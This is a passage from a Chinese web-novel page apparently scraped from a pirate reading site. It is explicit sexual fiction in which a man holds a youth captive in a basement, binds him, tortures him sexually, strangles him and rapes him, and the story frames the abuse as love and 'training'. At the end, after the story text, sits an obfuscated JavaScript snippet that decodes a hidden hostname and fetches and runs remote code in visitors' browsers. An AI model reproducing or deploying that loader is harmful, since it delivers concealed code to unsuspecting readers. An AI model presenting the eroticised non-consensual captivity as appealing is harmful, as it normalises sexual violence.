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33小黑屋放置被玩到身体失控崩溃大哭/又激怒老攻(1 / 2)

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('\n\t\t\t        呻吟从响起的那一刻起就没有停下。

        贺逐深好整以暇地蹲在言许面前,看着少年被震动棒拓开并且不断往下滴水的肉穴,以及上方紧紧含着假阴茎的嘴。

        麻醉药效到底没有那么快退去,眼看着震动棒又要掉下来了。

        贺逐深突然间把穴里的震动棒换成了另一种模式,言许从吼中溢出一丝高亢的惊呼,

        嘴唇使不上力,仅剩的力气再也含不住假阴茎。假阳具从口腔里掉落的瞬间,言许羞愤地感受到了嘴角拉丝的涎水滴在他变硬的乳头上。

        下巴被掐起来,言许被迫迎上贺逐深的视线,贺逐深淡笑着点评,“又没含住。”

        说完,他很信守承诺地拿了更大型号的塞进了他的嘴里,模拟着性交的姿势在他的嘴里抽插。

        贺逐深低沉的嗓音放柔:“是不是没有把言言操舒服。”

        “唔嗯!呜!呜呜…”

        言许完全被束缚着,根本动弹不得。贺逐深掀了掀眼皮,在言许凄惨呜咽的呻吟中毫不留情地换了更大的震动棒,紧接着手指抚摸着言许的乳头,爱抚般蹭了蹭,突然一捏,言许的呼吸瞬间急促起来。

        要疯了……

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        在性瘾急性发作的饥渴时期,言许可以沉浸在滔天的快感里,很多时候是并不清醒的,反而给了他可以逃避的机会。但现在他不得不清醒地被迫面对一切。

        过于强烈的刺激下早就达到了应该射精的程度,可那里却被牢牢堵住了,在欲望撩拨下反而有更多的酥麻电流感从尿道中时不时传来,更加令人难以忍受。

        糟透了……

        想躲也躲不了,甚至求饶也做不到。

        言许觉得每一秒都煎熬无比。

        熟悉的想法涌上来,或许真的不该逃跑,好像以前那样也很不错。但他很快就反应过来这是贺逐深惯用的调教手段——规训与惩罚。等他犯错,再给他教训,直到他彻底变乖。

        不能,不能屈服!

        贺逐深心满意足地欣赏了一会儿,敏锐地从少年眼中捕捉到了一丝熟悉的倔强。

        “只是乳头空荡荡的,还差点什么。”

        贺逐深起身去拿了东西。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “唔!!唔!”

        贺逐深仿佛在做温柔的前戏一般,蹲下附身舔吮着言许的乳头,舔的时候同时捏了捏另一个,紧接着将其中一个用乳夹夹住,而另一只乳头则固定了打开的微型跳蛋在旁边。

        痛感和爽意同时袭来,激得言许被绑在背后的手指都在畏惧地打颤。

        贺逐深冷眼旁观着,眸中却有掩饰不住的迷恋。他如同兄长般宠溺地吻了吻言许汗湿的额头。

        “好可怜,像一个被玩坏了只会咿咿呀呀的小哑巴。除了被操,就只能被玩。”

        ……

        几点了?

        “嗡嗡嗡嗡……”

        眼前很黑,空气中只有嗡嗡声和后颈处时不时晃动的锁链轻响。

        言许仍然保持着被绳子捆绑的姿势双腿大开束缚在墙角,嘴里的假阳具被替换成了一个强制开口的口枷。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        贺逐深没待多久就走了,地下室陷入黑暗,他让言许好好休息一晚第二天再来看他。

        可是后穴里固定着的震动棒是遥控的,每当言许承受不住身体的疲惫快要昏过去时,后穴里的震动频率便会变换着强行让痛苦地惊醒过来,逼他发出淫荡的呻吟。

        这个夜晚成了言许有史以来最为漫长的一夜。

        完全被束缚的无助,无法射精的痛苦,无法闭合的后穴与口腔,嘴角不断流淌的涎水,不受控制的生理眼泪——或许,心理上也有。

        而且他不知道时间。

        言许感觉自己像被遗忘了一样,只剩下无尽的欲望折磨和无法发泄的痛楚。

        过去几天了…

        谁来救救他……

        谁来,哪怕是贺逐深也好……

        ……

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        处理完工作,贺逐深看向监控画面。

        时间刚好过去一小时。

        他放大言许的表情。

        宽阔却漆黑的地下室的角落里锁着被绳子紧紧捆绑的少年。

        少年那张被迫张开口、露出湿软唇舌的脸上,睫毛不停跟着震动棒的频率颤抖,眼里满是恐慌和无助到极致的表情,再没有所谓的“恨意”和满不在乎。

        贺逐深终于起身,去往地下室。

        ……

        “言言休息好了吗?”

        贺逐深站在言许面前,躬身摸了摸言许被汗水彻底打湿的头发,让他抬起了头。

        言许脸上什么表情都没有了,茫然地看着贺逐深,眼底还有矛盾的期待和恐惧。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        而他被口枷撑开的嘴里还在不断溢出夹杂着哭腔的呻吟呜咽,他满脸都是泪痕。

        贺逐深关掉震动棒,言许的身体仍然在不断发着抖。但他的呼吸终于平复下来。

        贺逐深恶劣地再次开启他的恐慌,“以后每天都这样休息好吗?”

        言许泪水瞬间更加汹涌了,拨浪鼓一样疯狂摇头。

        他央求般看向贺逐深。

        可怜极了。

        “可是言言好骚啊,不这样怕是管不住,一解开锁链你就会乱跑,只有像现在这样圈禁起来像只小狗一样每天等着我回来才会听话。”

        贺逐深说这话时语气冷淡,眼神平静,仿佛在陈述一件无关情欲的再普通不过的事情。然而他却边说边拔掉了插进言许后穴里的震动棒,看着大量黏液失禁一样流出,而红肿的小穴却仍然一缩一缩的,像一朵嫣红的花。

        随后,他将手指伸进去,熟稔地抠挖起来。

        “嗬呃啊啊!!”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        言许哑声叫着疯狂摇头,不知是在对贺逐深的话表示抗议还是对他的举止,锁链激烈晃动。

        而前端的马眼棒被顶的有些往上跑了,显然精液已经快支撑不住,迫不及待想要冲出樊笼。

        贺逐深问:“言言想射吗?”

        他握住了言许的阴茎缓慢撸动起来。

        言许浑身一抖,当即抽噎着哆嗦点头。

        “好的,言言。”

        贺逐深解开言许的绳子,深红的绳印残留在肉体上,如同绚烂的花叶在少年肢体上绽放。乳夹、跳蛋、项圈上拴住他的链子都摘了,只留了口枷和马眼棒在身上,贺逐深把人以小孩把尿的姿势抱起来。

        言许恢复了大约三成的力气,手脚被绑了一个小时,很酸软无力,不足以让他作出有效的反抗,他低头看着自己一直硬挺起来的性器,上面还插着那个堵住尿道口的东西,但一些白浊的精液已经淫乱的流了出来,甚至把金属棒顶起了许多,这表明他的身体一直在兴奋地射精。

        为什么会变成这样……

        他本来应该是一个正常的直男,现在却可以通过玩后面被玩弄成这副样子。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        他伸手想拔掉那个东西,可是肿胀的后穴却骤然被一个粗大的肉柱闯入。

        言许闷哼一声,耳边传来贺逐深的低声诘问。

        “在想什么呢?还在想着逃跑吗?”

        没有给他回答的机会,当然,戴着口枷什么也回答不出来,言许被操得“呜呜呜”地不断发出呻吟,眼泪啪嗒啪嗒往下掉。他被贺逐深抱着边走边操,粗大狰狞的性器每一次都狠狠顶到深处,剧烈的刺激下,过电一样的电流感陡然从不得释放的尿道传来,言许剧烈地抽搐起来,双腿胡乱踢蹬,伴随金属落地的声音后,一股接一股白稠的浊液喷溅而出。

        “嗬啊…嗯唔!!”

        可是后穴的抽插还没有停反而正在加速,贺逐深动作没有停,连接的又一次深顶后,被拓出一个窄小通道的铃口出激射出稀薄的液体,伴随着抽插声,那射出的液体反而越来越清澈,水量也越来越大,言许在强制性的高潮退出后悚然睁眼,看见自己的一股尿柱正从自己敞开的大腿中喷溅出去,液体碰撞瓷壁的声音听起来令人羞耻到了极点。

        贺逐深在他耳边轻声低语:“言言,你被我操到喷精后,又被直接被我干失禁了。”

        贺逐深摘掉了言许的口枷,给言许洗了澡把他放回了那张床上。

        “……”

        言许仍然失魂落魄,怔怔看着眼前的一切。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        贺逐深问:“怎么了?言言。”

        言许忽然就崩溃地大哭起来。

        “为什么要这么对我?……呜呜呜呜……”

        贺逐深有些不忍,但他很清楚不这样做的话少年绝不会留在他的身边。

        而且,用可怜的模样来欺骗他心软已经不是一次两次了。

        他静静端详着言许崩溃的神情,还是没能忍住,拍了拍言许,“好了言言,这次的惩罚就到这里了。”

        “只要你听话,答应我不再逃跑,你想要什么我都给你。”

        贺逐深的嗓音听起来仍然有一种高高在上的冷感,他的嗓音本就很悦耳。

        言许忽然又想起那年第一次看到的背影,那道触不可及的仿若在云端一样的优雅声线,过去几年里就是以这样漫不经心的语调锁死了他的未来。

        言许无法承认曾经点燃他希望的人居然是伤害自己最多的人,他也永远不会把这个秘密宣之于口。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        但他现在的情绪已经失控,泪水模糊了他的视线,他望向贺逐深的方向不假思索道:“我什么都不要,你放过我可以吗?给你下毒是我不对,可是我已经收到了应有的惩罚,你放过我,那些钱以后我慢慢还你。”

        贺逐深是站着的。

        他俯视着急于和他撇清关系的言许,压抑着怒火平静地听他说完后,沉声问。

        “那你的性瘾怎么办?”

        言许指甲陷进被子里,激动起来:“这不关你的事!不用你管!”

        “呵。”

        一声冷笑声从头顶传来,下一刻,从脖颈处传来巨大的推力,喉间收紧,言许骤然被一只有力的手掐住脖子死死摁在了床上。

        “呃……”

        呼吸瞬间逼窒,言许瞪大眼睛,用仅有的力气去推搡贺逐深,眼泪从通红的眼眶滚落在床单上。

        “不关我的事,那关谁的事?”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        贺逐深低头逼近他,言许才看清他的眼神有多可怕。

        “你后面这只穴,现在离了男人就活不了。不关我的事,那你想跟谁有关?”

        贺逐深笑了,“要去找第二个俞周吗?”

        言许徒劳地挣扎着,试图用手推拒濒死的窒息感,可这关头间贺逐深居然把另一只手戳进了他的后穴粗暴地抠挖起来。

        贺逐深直视着言许深陷在快感和痛苦中的眼睛,一字一句道。

        “言许,我希望你牢牢记住一点。不论你接不接受,但现实就是你这辈子都不可能离开我,你不会有任何跟别的男人或女人上床的机会。”

        “而且——”

        贺逐深放开了言许的手,在言许惊恐着大口呛咳的剧烈喘息中,语气柔和下来。

        “还有,言言,你说得对,我的确是疯子。每一次你激怒我,都会付出相应的代价。”

        【本章阅读完毕,更多请搜索25书屋;http://m.25shuwu.com 阅读更多精彩小说】\t\t', '\t')('\n\t\t\t        地下室里接连不断地响起低弱的闷哼声。

        房间里唯一的床上绑着一个几乎完全赤裸的少年。

        他原本白瓷般的肌肤上浑身泛起不正常的潮红,四肢都被大大拉开在床的四角,由锁铐紧紧绷直。不但如此,少年的眼睛也被眼罩蒙了起来,嘴里则塞着口球,可下身却被金属质地的内裤一样的东西牢牢包裹住了分身。

        然而,少年被强行拉开的双腿中间,一个极为粗大的按摩棒正孜孜不倦地工作着,就从那条贞操带特意为男性后穴留下的洞孔里深入进去,几个束带从少年的腰上延伸下来,到按摩棒处汇合,令这根粗大的按摩棒再怎么遭遇挣扎也总能准确地深深塞入肉穴中。

        言许整个人都在小幅度地颤抖着。

        他耳朵上戴着耳塞,听不见任何声音,看不见任何东西,所有的感官都被封闭了,连最开始他最不想听到的贺逐深的声音,现在都是奢侈。

        他连贺逐深在不在房间,是否正注视着完全不能动弹的淫乱的自己都无法得知。

        “嗬唔……”

        下穴的震动棒忽然频率加快,前端的分身条件反射地硬起来,可被贞操带束缚着,快感始终在远远难以登顶的边缘煎熬。

        言许很快被折磨得快要精神错乱,耳边开始时不时出现贺逐深脚步声的幻听。

        以及被贺逐深触碰的幻觉。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “唔……”湿润的水光从少年的眼罩下淌进发逢,接着源源不断地滴到床单上。

        他的手腕脚腕被皮铐磨得通红,透红的脚趾也绷得很紧。

        贺逐深注视着言许,手指随意地掐弄起言许硬挺充血的乳头,少年果然挺起腰陡然剧烈地挣动起手铐,带来一系列有趣的连锁反应,下身的震动按摩棒也更深地插入进去。

        “嗬……唔!呜呜呜……”

        方才的闷哼声明显变了调,夹杂了脆弱的哭腔,断断续续的,几不成声。

        贺逐深不为所动,转而更加用力地揉搓起少年的乳首。少年哽咽一声,疯狂摇头,脚尖弯曲成一个扭曲的弧度,腰部的束带也在挣扎中被大力绷紧,少年终究还是无法动弹地被动承受了所有刺激。

        可少年被贞操带禁锢住的分身,却羞耻地缓缓渗出了诸多生理性的白浊。

        少年在挣扎中终于蹭掉了耳塞。

        贺逐深摸了摸少年的脸颊,少年身体僵直,以为又要重新被剥夺听力的时候,听见耳边温热的呼吸声。

        “言言,比起你总是反抗我,我还是更喜欢你破碎的样子。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        上次的对峙中,言许不要命地和贺逐深扭打成一团,他用尽全身力气反抗,却只揍了他一拳。现在,就是贺逐深加倍的报复和惩罚。

        “难受吗?”

        言许咬紧了口球,天知道他几乎快被折磨疯了。

        这两天里,他总是被强行抚摸,但封闭的无感中,性瘾的催化下,他是多么矛盾地想要被贺逐深亲自触碰,又想远离贺逐深的魔爪。

        “可能会有些难受,言言再忍一忍就好了。”

        此刻贺逐深低沉清澈的嗓音仿佛天籁一样。语气也很温和,仿佛只要温柔一点就可以粉饰暴行。

        贺逐深加大了震动棒的频率,仍然温和地询问:“放开言言的话,言言会乖吗?”

        “会只爱我吗?”

        “会的话,就把震动棒夹紧一点。”贺逐深用指尖勾了勾言许汗湿的额发,“这样我就放开言言。”

        【本章阅读完毕,更多请搜索25书屋;http://m.25shuwu.com 阅读更多精彩小说】\t\t', '\t')('\n\t\t\t        言许接下来的日子就如同噩梦一般。

        贺逐深真得把他关在了地下室,不让他出门。

        项圈换成了更漂亮更具质感与观赏性的,却也和从前一样坚不可摧,剥夺了他的自由和尊严。不同的是,拴住言许的锁链从脖子上移到了脚踝上——被麻醉针射穿小腿的、那根缠绕了绷带的可怜脚踝上。

        言许那只脚站不起来,他也没有任何衣服穿。

        贺逐深好几次来的时候言许都蜷缩在房间的角落里,堪堪遮住身体的关键部位,他总是低着头,地下室漫长的时间一天天过去,言许被迫抬起头时的眼神从倔强的疏离,一点点变成了无声的颤栗。

        “言言。”

        呢喃般的沉缓嗓音令少年浑身一颤。

        “怎么又待在这里?”

        言许的心绪被揪起来,手指紧张陷进手肘的肉里。

        可指甲被剪短了,他本身也没有什么多余的力气,指甲在皮肤上留下的痕迹还没有其他部位在可怖性爱中留下的颜色深。

        贺逐深在言许面前压膝蹲下,捉住了言许的手指。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “今天一个人有乖乖听话吗?”

        少年明显得剧烈抖了一下,想把手抽回来,可并没有没有反抗,只是脸色苍白地抬起头,红着眼眶,眼神瑟缩地看向面前分辨不出喜怒的男人。

        像是在求饶说——不要。

        “地毯上凉,我们到床上去。”

        言许在下一刻被强而有力的手拉入男人怀中,关于床这个字眼的可怕记忆铺天盖地袭来。他瞳孔微微一缩,挣扎起来,惊慌地张口想说不要,可是他的嗓子完全哑了,微弱到连气声都几不可闻。

        他最终还是被放在床上,可后背一碰上那张床,他就不受控制地进入了应激状态,泪腺失控,晶莹的眼泪濡湿眼尾的睫毛迅速淌进长长了的头发里,可他却失去了身体控制权一般,违背意志地紧紧抱住了贺逐深,生怕被放开单独扔在床上,然后被锁起来。

        床换了一张更大的新床,床下也没有了可以躲避的空间,但床的四角却各有一个锁扣。

        言许在挣扎中扇了贺逐深五个耳光。

        他就被五次拴在这张床上,被那四个锁扣扣住手腕脚腕,四肢大开,而赤裸的胯部则被一根男士贞操带束缚,分身被限制在窄小的金属器具中无法勃起,后穴里锁入了一根涂抹了药物的粗大震动棒,周身带有可怕的凸起,二十四小时孜孜不倦地操弄他的后穴,让言许被哭着一边边操到高潮却无法释放。

        一记鞭子一颗糖。

        每次言许濒临崩溃快要疯掉的时候,贺逐深就会如救世主一般出现。解开他,抱进怀里,温柔地安抚,像一个成熟体贴的兄长,哄他说没关系了,当言许情绪恢复正常后,贺逐深便会拔出那根震动棒,把药栓锁回少年后穴里让少年休息。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        但言许不长记性,又或者说他知道谁是始作俑者。

        休息好后,当贺逐深要进入他的身体,他又会情不自禁地反抗,痛恨地骂贺逐深让他滚。

        贺逐深用力掐住言许下颌,温柔的视线转瞬变得阴沉而疯狂。

        在这样阳光永远照射不到的地方,阴暗日益滋生,只要贺逐深想,他随时都可以肆无忌惮地强奸言许。

        他强行吻了上去。

        然后,强奸他。没错,强奸。

        毕竟言许不爱他,那么每一场性爱都该是暴行。

        言许在这个时候会变得非常有活力,用尽浑身解数反抗贺逐深,边哭边骂,咬他,打他,踢他。

        他扭曲地享受着,更加猛力地肏干,等到少年痉挛着被操到高潮再也没有反抗的力气后,再把他锁在床上,用道具让他品尝更加酷烈的性爱。

        言许的眼泪和求饶声就没有停过,嗓子也是在那个时候被叫哑了。

        贺逐深也并没有那么狠心,到差不多的时候会于心不忍地心软,把少年放下来抱着安抚,可言许一口死死咬上他的颈侧,再深一点,就可以抵达动脉。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        少年眼角的泪水都没有干,和血一起黏在他的皮肤上,声音颤抖,听不出是恨多一些还是恐惧多一些。

        头颈交卧是情侣间最亲昵的姿势。

        可少年却在他耳边说,“我永远……永远也不会爱你。贺逐深……我恨死你了。”

        爱太过复杂,占有却很粗暴简单。

        柔和的手段没有用。

        对于这个小骗子,需要更多的疼爱和教训。

        ……

        之后,言许便在这些炽热的爱意里,对床产生了强烈的恐惧。

        “……”

        言许双眸通红,眼角肿胀,他紧紧搂着贺逐深的脖子,茫然看着天花板,双腿大开,紧紧环绕着贺逐深的腰,颤了绷带的脚踝高高对着天花板,锁链的清脆声响响起后就没有停下,性器又深又狠地插进他的穴里,仿佛要把他那里插烂一样。

        他其实是有些疼的。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        但性瘾上来了——他已经分不清自己的性瘾什么时候发作了——他好像很需要被插入,需要被抱着操,而不是被锁在床上煎熬时间。

        而且他越来越害怕一个人。

        相比于之前,言许已经习惯了在被贞操带束缚分身的情况下干性高潮,奶白色的精水会一点点随着抽插从铃口流淌出来,像极了失禁。

        被剥夺正常射精的权力,连高潮方式也被调教成了正常男性很难想象的淫荡羞耻的地步。

        “言言,一直锁着这里好吗?”贺逐深轻轻刮了刮言许的铃口,轻飘飘笑着说,“等到有一天就算你又逃跑了也硬不起来,没办法去操别人了再摘下。”

        言许脸色苍白,哑然张了张嘴,本能地想要推搡,可又在贺逐深的刮搔下哆嗦着又一次达到了高潮,精液糊在了贺逐深指腹上。

        他由衷地害怕贺逐深,看到他就想躲。

        却也真得在这种无望的囚禁监管调教下失去了身体的所有权,被情欲与本能淹没。

        害怕他,又不得不依赖他。

        ……

        “言言,我会让你学会乖乖依赖我的。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        几天前,贺逐深就是这样的说的。

        ……

        当时,大概是认识到了现状残酷,言许不再反抗,假意顺服,结果还是顽强的要命根本不见死心,居然在腿受伤的情况下,差一点真的又逃跑成功了。

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
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